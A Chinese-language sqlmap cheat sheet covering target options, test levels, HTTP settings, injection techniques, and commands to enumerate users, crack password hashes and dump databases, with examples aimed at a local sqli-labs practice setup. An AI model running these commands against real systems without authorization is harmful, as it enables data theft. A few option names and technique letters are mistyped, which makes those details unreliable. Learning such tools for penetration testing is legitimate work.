0x01 指定目标
-d:直接连接数据库
①当数据库系统为:MySQL,Oracle,Microsoft Server,PostgreSQL
DBMS://user:password@DBMS_ip:DBMS_port/database_name
②当数据库系统为:SQLite,Microsoft Access
DBMS://database_filepath
例:
sqlmap -d "MYSQL://root:root@192.168.227.1:3306/security"
sqlmap -d "MYSQL://root:root@192.168.227.1:3306/security" --dbs
-u 指定目标url
sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1"
-m 从文本文件中解析目标
-u只能指定一个url,-m可以指定多个url,将多个url按行保存在文本文件中
创建1.txt文件,保存多个url
sqlmap -m /root/1.txt
不断回车,测试每个url
-r 测试保存的http请求
将http请求保存到文本文件中
sqlmap -r get.txt
0x02 指定级别
--level
总共有1-5级,默认为1,级别越高检测的越多
检测级别高于2可以检测cookie注入
检测级别高于3可以检测User-Agent和Referer注入
0x03 输出级别
-v
输出级别从0-6,级别越高输出的信息越多,默认为1
0x03 HTTP请求
--method
sqlmap自动判断GET,POST,有些url需要特定请求才能访问
--method-PUT
--data
指定POST的参数提交。
sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-11" --data="uname=1&npasswd=1"
--param-del
指定分割符
sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-11" --data="uname=1;passwd=1" --param-del=";"
--cookie
使用cookie参数的情况:
要测试的页面需要登录,使用cookie识别登录状态
要检测是否有cookie注入
若是检测是否有cookie注入,需要将level设置为2以上
①需要登录,将网站中cookie信息粘贴至cookie后
sqlmap -u "url" --cookie "NAME=11"
User-Agent
--user-agent 指定一个代理(level3)
--random-agent 随机指定一个代理(level3)
--host 指定一个host值(level5)
--referer 指定Referer值(level3)
身份认证
--auth-type(Basic,Digest,NTLM三种类型)
--auth-cred (格式:"username:password")
sqlmap -u "url" --auth-type Basic --auth-cred "root:root"
忽略
--ignore-403 忽略403
延迟
--delay 1 延迟1秒,反之频繁发送请求,导致ip被禁
超时
--timeout 10 超时时间默认10秒
0x04 参数优化
-o 相当于同时设置,--keep-alive,--null-connection,--threads=3
http并发
--threads=5 不超过10
指定测试参数
-p,--skip
-p "id,Referer" 当level3之后,会测试很多,-p指定只测试id和Referer
--skip "id,user-agent" 跳过id,user-aget不测试
0x05 注入技术
--technique 默认使用所有技术
- B:boolean-based blind(布尔盲注)
- E:Error-based(报错注入)
- U:Union query-based(联合查询注入)
- S:Stacked queries(多语句查询)
- T:Time-based blind(时间盲注)
- S:Inline queries(嵌套查询注入)
--technique BEUSTS
#访问文件系统或注册表要添加S
指纹
-f或--fingerprint 指纹识别
-b或--banner 详细指纹识别结果
暴力破解
--common-tables
当用--tables不能列出数据库表名时,使用暴力破解
使用范围:
mysql版本<5.0,没有information_schema表
access的MSysObjects表默认不可读
数据库应用权限过低无法读取表名
--common-columns 暴力破解列名
-b或--banner列举数据库管理系统信息
--current-user 列举当前用户
--current-db 列举当前数据库
--hostname 当前主机名
--is-dba 是否为管理员
--users 列举系统中的用户
--passwords 列举并破解系统中密码hash值
--priviliges 列举用户的权限
--roles 列举系统的用户角色
--dbs 列举所有数据库
--tables 列举所有表
--columns 列举所有列
--dump 列举所有数据
--dump-all 列举所有数据库中所有表的所有数据
--output-dir 指定输出目录
--identify-waf 检测waf
参考链接:
《sqlmap中文手册》